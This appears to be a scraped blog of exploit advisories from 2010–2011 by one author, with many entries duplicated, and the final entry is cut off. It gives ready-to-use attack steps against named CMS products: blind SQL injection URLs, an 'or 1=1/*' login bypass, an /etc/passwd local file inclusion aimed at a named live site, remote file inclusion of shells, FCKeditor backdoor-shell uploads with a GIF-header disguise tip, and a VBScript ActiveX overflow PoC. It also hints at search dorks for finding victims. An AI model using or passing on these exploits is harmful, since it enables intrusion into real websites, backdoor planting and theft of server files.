[!] http://host/path_to_CMSBalitbang/functions/editor/filemanager/connectors/uploadtest.html
your shell or file will be placed here
[!] http://localhost/webtemp/userfiles/ <= here
====================================================================
Nothing Impossible In This World Even Nobody`s Perfect
===================================================================
==========================| -=[ E0F ]=- |==========================
2011/03/18
Tugux CMS (nid) BLIND sql injection vulnerability
===================================================================
Tugux CMS (nid) BLIND sql injection vulnerability
===================================================================
Software: Tugux CMS
Vendor: www.tugux.com
Vuln Type: BLind SQL Injection
Download link: http://sourceforge.net/projects/tuguxcms/files/tuguxCMS_v.1.0_final.rar/download
Author: eidelweiss
contact: eidelweiss[at]windowslive[dot]com
Home: www.eidelweiss.info
===================================================================
exploit & p0c
[!] latest.php?nid=[valid nid]
Example p0c
[!] http://host/latest.php?nid=9 <= True
[!] http://host/latest.php?nid=-9 <= False
[+] http://host:3306 <= download the file , save and open with c++ or wordpad will show mysql version
[!] sample: http://www.tugux.com:3306 result : 5.0.92-community (use versi 5.0.92) :D
====================================================================
Nothing Impossible In This World Even Nobody`s Perfect
===================================================================
==========================| -=[ E0F ]=- |==========================
Tugux CMS (nid) BLIND sql injection vulnerability
===================================================================
Software: Tugux CMS
Vendor: www.tugux.com
Vuln Type: BLind SQL Injection
Download link: http://sourceforge.net/projects/tuguxcms/files/tuguxCMS_v.1.0_final.rar/download
Author: eidelweiss
contact: eidelweiss[at]windowslive[dot]com
Home: www.eidelweiss.info
===================================================================
exploit & p0c
[!] latest.php?nid=[valid nid]
Example p0c
[!] http://host/latest.php?nid=9 <= True
[!] http://host/latest.php?nid=-9 <= False
[+] http://host:3306 <= download the file , save and open with c++ or wordpad will show mysql version
[!] sample: http://www.tugux.com:3306 result : 5.0.92-community (use versi 5.0.92) :D
====================================================================
Nothing Impossible In This World Even Nobody`s Perfect
===================================================================
==========================| -=[ E0F ]=- |==========================
2011/01/21
phpcms V9 Blind SQL Injection Vulnerability
=================================================================
phpcms V9 BLind SQL Injection Vulnerability
=================================================================
Software: phpcms V9
Vendor: www.phpcms.cn
Vuln Type: BLind SQL Injection
Download link: http://www.phpcms.cn/2010/1229/326.html
Author: eidelweiss
contact: eidelweiss[at]windowslive[dot]com
Home: www.eidelweiss.info
=================================================================
exploit & p0c
[!] index.php?m=content&c=rss&catid=[valid catid]
Example p0c
[!] http://host/index.php?m=content&c=rss&catid=10 <= True
[!] http://host/index.php?m=content&c=rss&catid=-10 <= False
[+] http://host/index.php?m=content&c=rss&catid=5 <= show MySQL Error (table)
=================================================================
Nothing Impossible In This World Even Nobody`s Perfect
=================================================================
=========================| -=[ E0F ]=- |=========================
phpcms V9 BLind SQL Injection Vulnerability
=================================================================
Software: phpcms V9
Vendor: www.phpcms.cn
Vuln Type: BLind SQL Injection
Download link: http://www.phpcms.cn/2010/1229/326.html
Author: eidelweiss
contact: eidelweiss[at]windowslive[dot]com
Home: www.eidelweiss.info
=================================================================
exploit & p0c
[!] index.php?m=content&c=rss&catid=[valid catid]
Example p0c
[!] http://host/index.php?m=content&c=rss&catid=10 <= True
[!] http://host/index.php?m=content&c=rss&catid=-10 <= False
[+] http://host/index.php?m=content&c=rss&catid=5 <= show MySQL Error (table)
=================================================================
Nothing Impossible In This World Even Nobody`s Perfect
=================================================================
=========================| -=[ E0F ]=- |=========================
2011/01/10
maximus-cms (fckeditor) Arbitrary File Upload Vulnerability
####################################################################
maximus-cms (fckeditor) Arbitrary File Upload Vulnerability
####################################################################
____ __ __ __
/\ _`\ /\ \ __ /\ \__/\ \
\ \ \L\_\__ __ ___\ \ \/'\ /\_\ ___ __ \ \ ,_\ \ \___ __
\ \ _\/\ \/\ \ /'___\ \ , < \/\ \ /' _ `\ /'_ `\ \ \ \/\ \ _ `\ /'__`\
\ \ \/\ \ \_\ \/\ \__/\ \ \\`\\ \ \/\ \/\ \/\ \L\ \ \ \ \_\ \ \ \ \/\ __/
\ \_\ \ \____/\ \____\\ \_\ \_\ \_\ \_\ \_\ \____ \ \ \__\\ \_\ \_\ \____\
\/_/ \/___/ \/____/ \/_/\/_/\/_/\/_/\/_/\/___L\ \ \/__/ \/_/\/_/\/____/
/\____/
\_/__/
__ __ __ ______ Author:eidelweiss
/\ \ __/\ \ /\ \ /\ _ \
\ \ \/\ \ \ \ __\ \ \____ \ \ \L\ \ _____ _____ ____
\ \ \ \ \ \ \ /'__`\ \ '__`\ \ \ __ \/\ '__`\/\ '__`\ /',__\
\ \ \_/ \_\ \/\ __/\ \ \L\ \ \ \ \/\ \ \ \L\ \ \ \L\ \/\__, `\
\ `\___x___/\ \____\\ \_,__/ \ \_\ \_\ \ ,__/\ \ ,__/\/\____/
'\/__//__/ \/____/ \/___/ \/_/\/_/\ \ \/ \ \ \/ \/___/
\ \_\ \ \_\
\/_/ \/_/
| |
/|_________________________________________________________________________|\
/ \
/===============================================================================\
|Exploit Title: maximus-cms (fckeditor) Arbitrary File Upload Vulnerability |
|develop: http://www.php-maximus.org |
|Download: http://ftp1.toocharger.com/scgdnLI/maximus-cms-2008_5129.zip |
|Version: Maximus 2008 CMS: Web Portal System (v.1.1.2) |
|Tested On: Live site |
|Dork: use your skill and play your imagination :P |
|Author: eidelweiss |
|contact: eidelweiss[at]windowslive[dot]com |
|Home: http://www.eidelweiss.info |
| |
| |
| |
\===============================================================================/
/ NOTHING IMPOSSIBLE IN THIS WORLD EVEN NOBODY`s PERFECT \
---------------------------------------------------------------------------------
exploit # path/html/FCKeditor/editor/filemanager/connectors/uploadtest.html
[!] first find the target host
ex: www.site.com or www.target.com/maximus
then # http://site.com/FCKeditor/editor/filemanager/connectors/uploadtest.html#
[!] select # "php" as "File Uploader" to use... and select "file" as Resource Type
[!] Upload There Hacked.txt or whatever.txt And Copy the Output Link or
[!] after upload without any errors your file will be here: /FCKeditor/upload/
ex: http://site.com//FCKeditor/upload/whatever.txt
NB: remote shell upload also possible !!!
Read the config.php file in "/FCKeditor/editor/filemanager/connectors/php/"
----------
$Config['Enabled'] = true ; // <=
// Path to user files relative to the document root.
$Config['UserFilesPath'] = '/FCKeditor/upload/' ;
----------
and also $Config['AllowedExtensions']['File']
with a default configuration of this script, an attacker might be able to upload arbitrary
files containing malicious PHP code due to multiple file extensions isn't properly checked
=========================| -=[ E0F ]=- |=================================
maximus-cms (fckeditor) Arbitrary File Upload Vulnerability
####################################################################
____ __ __ __
/\ _`\ /\ \ __ /\ \__/\ \
\ \ \L\_\__ __ ___\ \ \/'\ /\_\ ___ __ \ \ ,_\ \ \___ __
\ \ _\/\ \/\ \ /'___\ \ , < \/\ \ /' _ `\ /'_ `\ \ \ \/\ \ _ `\ /'__`\
\ \ \/\ \ \_\ \/\ \__/\ \ \\`\\ \ \/\ \/\ \/\ \L\ \ \ \ \_\ \ \ \ \/\ __/
\ \_\ \ \____/\ \____\\ \_\ \_\ \_\ \_\ \_\ \____ \ \ \__\\ \_\ \_\ \____\
\/_/ \/___/ \/____/ \/_/\/_/\/_/\/_/\/_/\/___L\ \ \/__/ \/_/\/_/\/____/
/\____/
\_/__/
__ __ __ ______ Author:eidelweiss
/\ \ __/\ \ /\ \ /\ _ \
\ \ \/\ \ \ \ __\ \ \____ \ \ \L\ \ _____ _____ ____
\ \ \ \ \ \ \ /'__`\ \ '__`\ \ \ __ \/\ '__`\/\ '__`\ /',__\
\ \ \_/ \_\ \/\ __/\ \ \L\ \ \ \ \/\ \ \ \L\ \ \ \L\ \/\__, `\
\ `\___x___/\ \____\\ \_,__/ \ \_\ \_\ \ ,__/\ \ ,__/\/\____/
'\/__//__/ \/____/ \/___/ \/_/\/_/\ \ \/ \ \ \/ \/___/
\ \_\ \ \_\
\/_/ \/_/
| |
/|_________________________________________________________________________|\
/ \
/===============================================================================\
|Exploit Title: maximus-cms (fckeditor) Arbitrary File Upload Vulnerability |
|develop: http://www.php-maximus.org |
|Download: http://ftp1.toocharger.com/scgdnLI/maximus-cms-2008_5129.zip |
|Version: Maximus 2008 CMS: Web Portal System (v.1.1.2) |
|Tested On: Live site |
|Dork: use your skill and play your imagination :P |
|Author: eidelweiss |
|contact: eidelweiss[at]windowslive[dot]com |
|Home: http://www.eidelweiss.info |
| |
| |
| |
\===============================================================================/
/ NOTHING IMPOSSIBLE IN THIS WORLD EVEN NOBODY`s PERFECT \
---------------------------------------------------------------------------------
exploit # path/html/FCKeditor/editor/filemanager/connectors/uploadtest.html
[!] first find the target host
ex: www.site.com or www.target.com/maximus
then # http://site.com/FCKeditor/editor/filemanager/connectors/uploadtest.html#
[!] select # "php" as "File Uploader" to use... and select "file" as Resource Type
[!] Upload There Hacked.txt or whatever.txt And Copy the Output Link or
[!] after upload without any errors your file will be here: /FCKeditor/upload/
ex: http://site.com//FCKeditor/upload/whatever.txt
NB: remote shell upload also possible !!!
Read the config.php file in "/FCKeditor/editor/filemanager/connectors/php/"
----------
$Config['Enabled'] = true ; // <=
// Path to user files relative to the document root.
$Config['UserFilesPath'] = '/FCKeditor/upload/' ;
----------
and also $Config['AllowedExtensions']['File']
with a default configuration of this script, an attacker might be able to upload arbitrary
files containing malicious PHP code due to multiple file extensions isn't properly checked
=========================| -=[ E0F ]=- |=================================
2010/12/01
Digitalus 1.10.0 Alpha2 Arbitrary File Upload vulnerability
########################################################
Digitalus 1.10.0 Alpha2 Arbitrary File Upload vulnerability
########################################################
____ __ __ __
/\ _`\ /\ \ __ /\ \__/\ \
\ \ \L\_\__ __ ___\ \ \/'\ /\_\ ___ __ \ \ ,_\ \ \___ __
\ \ _\/\ \/\ \ /'___\ \ , < \/\ \ /' _ `\ /'_ `\ \ \ \/\ \ _ `\ /'__`\
\ \ \/\ \ \_\ \/\ \__/\ \ \\`\\ \ \/\ \/\ \/\ \L\ \ \ \ \_\ \ \ \ \/\ __/
\ \_\ \ \____/\ \____\\ \_\ \_\ \_\ \_\ \_\ \____ \ \ \__\\ \_\ \_\ \____\
\/_/ \/___/ \/____/ \/_/\/_/\/_/\/_/\/_/\/___L\ \ \/__/ \/_/\/_/\/____/
/\____/
\_/__/
__ __ __ ______ By:eidelweiss
/\ \ __/\ \ /\ \ /\ _ \
\ \ \/\ \ \ \ __\ \ \____ \ \ \L\ \ _____ _____ ____
\ \ \ \ \ \ \ /'__`\ \ '__`\ \ \ __ \/\ '__`\/\ '__`\ /',__\
\ \ \_/ \_\ \/\ __/\ \ \L\ \ \ \ \/\ \ \ \L\ \ \ \L\ \/\__, `\
\ `\___x___/\ \____\\ \_,__/ \ \_\ \_\ \ ,__/\ \ ,__/\/\____/
'\/__//__/ \/____/ \/___/ \/_/\/_/\ \ \/ \ \ \/ \/___/
\ \_\ \ \_\
\/_/ \/_/
[+]Script: Digitalus
[+]Version: 1.10.0 Alpha2
[+]vendor: http://digitaluscms.com/
[+]Download: http://digitalus-cms.googlecode.com/files/digitalus_1.10.0_alpha2.zip
########################################################
[!]Author : eidelweiss
[!]Contact: eidelweiss[at]windowslive[dot]com
[!]Blog: http://eidelweiss-advisories.blogspot.com
[!]Gratz : DealCyber member`s , yogyacarderlink crew , and YOU !!!
[!]Dork: "Powered By Digitalus cms"
Original Advisories:
http://eidelweiss-advisories.blogspot.com/2010/11/awcm-v22-auth-bypass-vulnerabilities.html
-=[Advisories time]=-
[-] 25 desember 2010 (gmt+7) vulnerability found
[-] 25 desember 2010 (gmt+7) vulnerability analisys and testing
[-] 26 desember 2010 (gmt+7) vulnerability report to vendor (first time report and no response)
[-] 28 desember 2010 (gmt+7) vulnerability report to vendor (again still no response)
[!] 01 desember 2010 22:00 (gmt+7) vulnerability publish
########################################################
-=[Description]=-
Digitalus CMS is a new kind of CMS. The focus of this open source project is usable software as opposed to endless lists of features.
We added a very flexible API to this base so you can customize virtually any aspect of the system.
This creates a simple and elegant platform that you can use for a wide range of sites and requirements.
########################################################
-=[VUln Code]=-
path/scripts/fckeditor/editor/filemanager/connectors/php/config.php
[*] // SECURITY: You must explicitly enable this "connector". (Set it to "true").
[*]
[*] $Config['Enabled'] = true ;
[*]
[*] // Path to user files relative to the document root.
[*] $Config['UserFilesPath'] = '/media/' ;
[*]
[*] // Fill the following value it you prefer to specify the absolute path for the
[*] // user files directory. Usefull if you are using a virtual directory, symbolic
[*] // link or alias. Examples: 'C:\\MySite\\UserFiles\\' or '/root/mysite/UserFiles/'.
[*] // Attention: The above 'UserFilesPath' must point to the same directory.
[*]
[*]
[*] $Config['AllowedExtensions']['File'] = array('7z', 'aiff', 'asf', 'avi', 'bmp', 'csv', 'doc', 'fla', 'flv', 'gif', 'gz', 'gzip', 'jpeg', 'jpg', 'mid', 'mov', 'mp3', 'mp4', 'mpc', 'mpeg', 'mpg', 'ods', 'odt', 'pdf', 'png', 'ppt', 'pxd', 'qt', 'ram', 'rar', 'rm', 'rmi', 'rmvb', 'rtf', 'sdc', 'sitd', 'swf', 'sxc', 'sxw', 'tar', 'tgz', 'tif', 'tiff', 'txt', 'vsd', 'wav', 'wma', 'wmv', 'xls', 'xml', 'zip') ;
[*] $Config['DeniedExtensions']['File'] = array() ;
[*]
[*] $Config['AllowedExtensions']['Image'] = array('bmp','gif','jpeg','jpg','png') ;
[*] $Config['DeniedExtensions']['Image'] = array() ;
[*]
[*] $Config['AllowedExtensions']['Flash'] = array('swf','flv') ;
[*] $Config['DeniedExtensions']['Flash'] = array() ;
[*]
[*] $Config['AllowedExtensions']['Media'] = array('aiff', 'asf', 'avi', 'bmp', 'fla', 'flv', 'gif', 'jpeg', 'jpg', 'mid', 'mov', 'mp3', 'mp4', 'mpc', 'mpeg', 'mpg', 'png', 'qt', 'ram', 'rm', 'rmi', 'rmvb', 'swf', 'tif', 'tiff', 'wav', 'wma', 'wmv') ;
[*] $Config['DeniedExtensions']['Media'] = array() ;
with a default configuration of this script, an attacker might be able to upload arbitrary
files containing malicious PHP code due to multiple file extensions isn't properly checked
########################################################
-=[ How To Exploit / P0C ]=-
1. attacker might be able to upload arbitrary files containing malicious PHP code due to multiple file extensions isn't properly checked using remode code execution.
2. Attacker also can exploit this vulnerability via browser by following this link
http://127.0.0.1/scripts/fckeditor/editor/filemanager/connectors/test.html
or
http://127.0.0.1/scripts/fckeditor/editor/filemanager/connectors/uploadtest.html
[*] your file while be here
http://127.0.0.1/media/yourfile.extension <= here
########################################################
| -=[MERRY CHRISTMAS AND HAPPY NEW YEARS , Nothing impossible in this world even nobody`s perfect]=- |
=========================| -=[ E0F ]=- |============================
2010/11/17
AWCM v2.2 Auth Bypass Vulnerabilities
########################################################
AWCM v2.2 Auth Bypass Vulnerabilities
########################################################
____ __ __ __
/\ _`\ /\ \ __ /\ \__/\ \
\ \ \L\_\__ __ ___\ \ \/'\ /\_\ ___ __ \ \ ,_\ \ \___ __
\ \ _\/\ \/\ \ /'___\ \ , < \/\ \ /' _ `\ /'_ `\ \ \ \/\ \ _ `\ /'__`\
\ \ \/\ \ \_\ \/\ \__/\ \ \\`\\ \ \/\ \/\ \/\ \L\ \ \ \ \_\ \ \ \ \/\ __/
\ \_\ \ \____/\ \____\\ \_\ \_\ \_\ \_\ \_\ \____ \ \ \__\\ \_\ \_\ \____\
\/_/ \/___/ \/____/ \/_/\/_/\/_/\/_/\/_/\/___L\ \ \/__/ \/_/\/_/\/____/
/\____/
\_/__/
__ __ __ ______ By:eidelweiss
/\ \ __/\ \ /\ \ /\ _ \
\ \ \/\ \ \ \ __\ \ \____ \ \ \L\ \ _____ _____ ____
\ \ \ \ \ \ \ /'__`\ \ '__`\ \ \ __ \/\ '__`\/\ '__`\ /',__\
\ \ \_/ \_\ \/\ __/\ \ \L\ \ \ \ \/\ \ \ \L\ \ \ \L\ \/\__, `\
\ `\___x___/\ \____\\ \_,__/ \ \_\ \_\ \ ,__/\ \ ,__/\/\____/
'\/__//__/ \/____/ \/___/ \/_/\/_/\ \ \/ \ \ \/ \/___/
\ \_\ \ \_\
\/_/ \/_/
[+]Script: AWCM
[+]Version: 2.2 final
[+]Download: http://sourceforge.net/projects/awcm/files/AWCM%20v2.2/AWCM%20v2.2%20final.zip/download
########################################################
[!]Author : eidelweiss
[!]Contact: eidelweiss[at]windowslive[dot]com
[!]Blog: http://eidelweiss-advisories.blogspot.com
[!]Gratz : DealCyber member`s , yogyacarderlink crew , and YOU !!!
Original Advisories:
########################################################
-=[Description]=-
ar web content manager is a free web contemts management system (cms) built with php , mysql , css , javascript , css to allow you to manage your website easily and fast.
it contains many main categories such as (videos, topics, sounds, photo gallery.
########################################################
-=[VUln Code]=-
first lets we see the code on login.php file
**********************************
include ("header.php");
$pusername = $_POST['username'];
$ppassword = md5($_POST['password']);
$premember = $_POST['remember'];
$mysql_login547_query = mysql_query("SELECT username,password,id FROM
awcm_members WHERE username = '$pusername' AND password = '$ppassword'");
$mysql_login547_total = mysql_num_rows($mysql_login547_query);
$mysql_login547_row = mysql_fetch_array($mysql_login547_query);
---------
**********************************
ok, now we see the code in control/login.php file
and on this file i see the vulnerability code that can be used by attacker or anonymous to bypass the login section..
its also possible to gain the administrator access ( if you lucky ofcourse :D )
here the code on control/login.php file:
**********************************
$page = 'login';
include ("common.php");
if(isset($_GET['do'])) {
$user = $_POST['username']; // <= i dont give fuck
$pass = md5($_POST['password']); //
$cp_login_query = mysql_query("SELECT id,username,password,level FROM awcm_members WHERE level = 'admin' AND username = '$user' AND password = '$pass'");
$cp_login_total = mysql_num_rows($cp_login_query);
**********************************
########################################################
-=[ How To Exploit / P0C ]=-
put as username : 'or 1=1/*
=========================| -=[ E0F ]=- |============================
2010/10/05
CuteNews (page) local File Inclusion Vulnerability
==================================================
CuteNews (page) local File Inclusion Vulnerability
==================================================
1-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=0
0 _ __ __ __ 1
1 /' \ __ /'__`\ /\ \__ /'__`\ 0
0 /\_, \ ___ /\_\/\_\ \ \ ___\ \ ,_\/\ \/\ \ _ ___ 1
1 \/_/\ \ /' _ `\ \/\ \/_/_\_<_ /'___\ \ \/\ \ \ \ \/\`'__\ 0
0 \ \ \/\ \/\ \ \ \ \/\ \ \ \/\ \__/\ \ \_\ \ \_\ \ \ \/ 1
1 \ \_\ \_\ \_\_\ \ \ \____/\ \____\\ \__\\ \____/\ \_\ 0
0 \/_/\/_/\/_/\ \_\ \/___/ \/____/ \/__/ \/___/ \/_/ 1
1 \ \____/ >> Exploit database separated by exploit 0
0 \/___/ type (local, remote, DoS, etc.) 1
1 1
0 [+] Site : Inj3ct0r.com 0
1 [+] Support e-mail : submit[at]inj3ct0r.com 1
0 0
1 ######################################## 1
0 I'm eidelweiss member from Inj3ct0r Team 1
1 ######################################## 0
0-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-==-=-=-1
vendor: http://cutephp.com/
Author: eidelweiss
Contact: eidelweiss [at] windowslive [dot] com
==========================================================
vuln: index.php?page=
lfi: /etc/passwd
exploit : index.php?page= [lfi]
-=[p0c]=-
http://127.0.0.1/index.php?page= [lfi]
or
http://127.0.0.1/path/index.php?page=/etc/passwd
-=[Demo p0c]=-
http://www.christyle.org/index.php?page=/etc/passwd
=========================| -=[ E0F ]=- |============================
2010/09/08
Internet Download Accelerator 5.8 Remote Buffer Overflow PoC
==================================================================
Internet Explorer ver 7.0.5730.13
Tested On Windows SP2
Inj3ct0r team & yogyacarderlink team
Bug discovered by eidelweiss
Affected Software: idaiehlp.dll BHO: IE 4.x-6.x BHO for Internet Download Accelerator - {2A646672-9C3A-4C28-9A7A-1FB0F63F28B6}
DLL VER : 2.4.1.110
program ver : 5.8.3.1221
download link : http://download1.westbyte.com/ida/idasetup.exe
vendor www. westbyte.com
www.inj3ct0r.com
www.yogyacarderlink.web.id
==================================================================
html
object classid="clsid:2A646672-9C3A-4C28-9A7A-1FB0F63F28B6" id="idaiehlp"
script language="'vbscript'"
arg1=String(9696969, "A") + String(999999, unescape("%960"))
idaiehlp.NotSafe (arg1)
Internet Explorer ver 7.0.5730.13
Tested On Windows SP2
Inj3ct0r team & yogyacarderlink team
Bug discovered by eidelweiss
Affected Software: idaiehlp.dll BHO: IE 4.x-6.x BHO for Internet Download Accelerator - {2A646672-9C3A-4C28-9A7A-1FB0F63F28B6}
DLL VER : 2.4.1.110
program ver : 5.8.3.1221
download link : http://download1.westbyte.com/ida/idasetup.exe
vendor www. westbyte.com
www.inj3ct0r.com
www.yogyacarderlink.web.id
==================================================================
html
object classid="clsid:2A646672-9C3A-4C28-9A7A-1FB0F63F28B6" id="idaiehlp"
script language="'vbscript'"
arg1=String(9696969, "A") + String(999999, unescape("%960"))
idaiehlp.NotSafe (arg1)
2010/08/27
pecio CMS v2.0.5 (template) Multiple Remote File Include Vulnerability
================================================================
pecio CMS v2.0.5 (template) Multiple Remote File Include Vulnerability
================================================================
1-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=0
0 _ __ __ __ 1
1 /' \ __ /'__`\ /\ \__ /'__`\ 0
0 /\_, \ ___ /\_\/\_\ \ \ ___\ \ ,_\/\ \/\ \ _ ___ 1
1 \/_/\ \ /' _ `\ \/\ \/_/_\_<_ /'___\ \ \/\ \ \ \ \/\`'__\ 0
0 \ \ \/\ \/\ \ \ \ \/\ \ \ \/\ \__/\ \ \_\ \ \_\ \ \ \/ 1
1 \ \_\ \_\ \_\_\ \ \ \____/\ \____\\ \__\\ \____/\ \_\ 0
0 \/_/\/_/\/_/\ \_\ \/___/ \/____/ \/__/ \/___/ \/_/ 1
1 \ \____/ >> Exploit database separated by exploit 0
0 \/___/ type (local, remote, DoS, etc.) 1
1 1
0 [+] Site : Inj3ct0r.com 0
1 [+] Support e-mail : submit[at]inj3ct0r.com 1
0 0
1 ######################################## 1
0 I'm eidelweiss member from Inj3ct0r Team 1
1 ######################################## 0
0-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-==-=-=-1
Software Link: http://pecio-cms.com/
Download: http://pecio-cms.com/pec_upload/files/pecio-2.0.5.zip
Author: eidelweiss
Contact: g1xsystem[at]windowslive.com
Greetz: Inj3ct0r.com (Inj3ct0r Exploit DataBase), YOGYACARDERLINK, and all Indonesian Hacking Community.
Special Thank`s To: iwe a.k.a KirD , PKI a.k.a Andri klaten, m4rc0 (Thx so much,you know why and i`ll never forget you all)
================================================================
Pecio is a content management system written in PHP with the intention to be a small, simple and lightweight cms for people who want to create websites including old-style information and new-style blog part.
It doesn't mainly focus on ease of use and full featured user experience but rather on being a flexible and lightweight content editing solution for web masters.
================================================================
-=[ Vuln c0de ]=-
include('pec_templates/' . $pecio->get('template')->get_directory_name() . '/header.php'); ?>
include('pec_templates/' . $pecio->get('template')->get_directory_name() . '/footer.php'); ?>
================================================================
-=[ p0c ]=-
http://sample.site/pecio_path/pec_templates/nova-blue/post.php?template= [inj3ct0r sh3ll]
http://sample.site/pecio_path/pec_templates/nova-blue/article.php?template= [inj3ct0r sh3ll]
http://sample.site/pecio_path/pec_templates/nova-blue/blog.php?template= [inj3ct0r sh3ll]
http://sample.site/pecio_path/pec_templates/nova-blue/home.php?template= [inj3ct0r sh3ll]
================================================================
Nb:
Script kiddies please learn more about RFI vulnerability, its not just about include and require.
if just need or want to get name or exist , so people call you hacker after post or publish shit exploits it`s wrong way i thing !!!
=========================| =[Hacking Is Art]=- |======================
pecio CMS v2.0.5 (template) Multiple Remote File Include Vulnerability
================================================================
1-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=0
0 _ __ __ __ 1
1 /' \ __ /'__`\ /\ \__ /'__`\ 0
0 /\_, \ ___ /\_\/\_\ \ \ ___\ \ ,_\/\ \/\ \ _ ___ 1
1 \/_/\ \ /' _ `\ \/\ \/_/_\_<_ /'___\ \ \/\ \ \ \ \/\`'__\ 0
0 \ \ \/\ \/\ \ \ \ \/\ \ \ \/\ \__/\ \ \_\ \ \_\ \ \ \/ 1
1 \ \_\ \_\ \_\_\ \ \ \____/\ \____\\ \__\\ \____/\ \_\ 0
0 \/_/\/_/\/_/\ \_\ \/___/ \/____/ \/__/ \/___/ \/_/ 1
1 \ \____/ >> Exploit database separated by exploit 0
0 \/___/ type (local, remote, DoS, etc.) 1
1 1
0 [+] Site : Inj3ct0r.com 0
1 [+] Support e-mail : submit[at]inj3ct0r.com 1
0 0
1 ######################################## 1
0 I'm eidelweiss member from Inj3ct0r Team 1
1 ######################################## 0
0-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-==-=-=-1
Software Link: http://pecio-cms.com/
Download: http://pecio-cms.com/pec_upload/files/pecio-2.0.5.zip
Author: eidelweiss
Contact: g1xsystem[at]windowslive.com
Greetz: Inj3ct0r.com (Inj3ct0r Exploit DataBase), YOGYACARDERLINK, and all Indonesian Hacking Community.
Special Thank`s To: iwe a.k.a KirD , PKI a.k.a Andri klaten, m4rc0 (Thx so much,you know why and i`ll never forget you all)
================================================================
Pecio is a content management system written in PHP with the intention to be a small, simple and lightweight cms for people who want to create websites including old-style information and new-style blog part.
It doesn't mainly focus on ease of use and full featured user experience but rather on being a flexible and lightweight content editing solution for web masters.
================================================================
-=[ Vuln c0de ]=-
include('pec_templates/' . $pecio->get('template')->get_directory_name() . '/header.php'); ?>
include('pec_templates/' . $pecio->get('template')->get_directory_name() . '/footer.php'); ?>
================================================================
-=[ p0c ]=-
http://sample.site/pecio_path/pec_templates/nova-blue/post.php?template= [inj3ct0r sh3ll]
http://sample.site/pecio_path/pec_templates/nova-blue/article.php?template= [inj3ct0r sh3ll]
http://sample.site/pecio_path/pec_templates/nova-blue/blog.php?template= [inj3ct0r sh3ll]
http://sample.site/pecio_path/pec_templates/nova-blue/home.php?template= [inj3ct0r sh3ll]
================================================================
Nb:
Script kiddies please learn more about RFI vulnerability, its not just about include and require.
if just need or want to get name or exist , so people call you hacker after post or publish shit exploits it`s wrong way i thing !!!
=========================| =[Hacking Is Art]=- |======================
2010/08/25
Ananta Gazelle CMS Shell Upload Vulnerability
==========================================================
Ananta Gazelle CMS Shell Upload Vulnerability
==========================================================
1-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=0
0 _ __ __ __ 1
1 /' \ __ /'__`\ /\ \__ /'__`\ 0
0 /\_, \ ___ /\_\/\_\ \ \ ___\ \ ,_\/\ \/\ \ _ ___ 1
1 \/_/\ \ /' _ `\ \/\ \/_/_\_<_ /'___\ \ \/\ \ \ \ \/\`'__\ 0
0 \ \ \/\ \/\ \ \ \ \/\ \ \ \/\ \__/\ \ \_\ \ \_\ \ \ \/ 1
1 \ \_\ \_\ \_\_\ \ \ \____/\ \____\\ \__\\ \____/\ \_\ 0
0 \/_/\/_/\/_/\ \_\ \/___/ \/____/ \/__/ \/___/ \/_/ 1
1 \ \____/ >> Exploit database separated by exploit 0
0 \/___/ type (local, remote, DoS, etc.) 1
1 1
0 [+] Site : Inj3ct0r.com 0
1 [+] Support e-mail : submit[at]inj3ct0r.com 1
0 0
1 ######################################## 1
0 I'm eidelweiss member from Inj3ct0r Team 1
1 ######################################## 0
0-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-==-=-=-1
Software Link: www.anantasoft.com
Download: http://www.anantasoft.com/index.php?Gazelle%20CMS/Download
Author: eidelweiss
Contact: g1xsystem[at]windowslive.com
Special Thank`s To: iwe a.k.a KirD , PKI a.k.a Andri klaten, m4rc0, and YOU !!!!!
================================================================
This vulnerability isssue can be exploited or use by attacker to upload arbitary shell script to gain access,
or data.
1. You Need To Register Your self
2. When your account active (registed) after activate your account by clicking on following link in your mail,
then login with type your user name and password .
3. after you login successful click "To admin panel" or "To user panel" and/or you will be direct to
http://sample.site/ananta_path/admin
or
http://sample.site/ananta-path/user.php
4. Then go to or copy and paste this link:
"/admin/editor/filemanager/frmupload.html" // (without quote)
ex: http://sample.site/admin/editor/filemanager/frmupload.html
5. Upload your script backdoor shell there
6. If success or lucky your backdoor shell can be check or will be available here:
http://sample.site/admin/editor/backdoorshellfile.extention (Ananta_Gazelle1.0/admin/editor/filemanager/connectors/php/config.php //line 27)
or
http://sample.site/user/backdoorshellfile.extention (Ananta_Gazelle1.0/admin/editor/filemanager/connectors/php/config.php //line 27)
NOTE: Edit your backdoor shell by adding GIF or JPG source, so you can get the shell.
=========================| -=[ E0F ]=- |============================
2010/08/06
ccTiddly v1.7.6 Multiple Remote File Include Vulnerability
================================================================
ccTiddly v1.7.6 Multiple Remote File Include Vulnerability
================================================================
1-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=0
0 _ __ __ __ 1
1 /' \ __ /'__`\ /\ \__ /'__`\ 0
0 /\_, \ ___ /\_\/\_\ \ \ ___\ \ ,_\/\ \/\ \ _ ___ 1
1 \/_/\ \ /' _ `\ \/\ \/_/_\_<_ /'___\ \ \/\ \ \ \ \/\`'__\ 0
0 \ \ \/\ \/\ \ \ \ \/\ \ \ \/\ \__/\ \ \_\ \ \_\ \ \ \/ 1
1 \ \_\ \_\ \_\_\ \ \ \____/\ \____\\ \__\\ \____/\ \_\ 0
0 \/_/\/_/\/_/\ \_\ \/___/ \/____/ \/__/ \/___/ \/_/ 1
1 \ \____/ >> Exploit database separated by exploit 0
0 \/___/ type (local, remote, DoS, etc.) 1
1 1
0 [+] Site : Inj3ct0r.com 0
1 [+] Support e-mail : submit[at]inj3ct0r.com 1
0 0
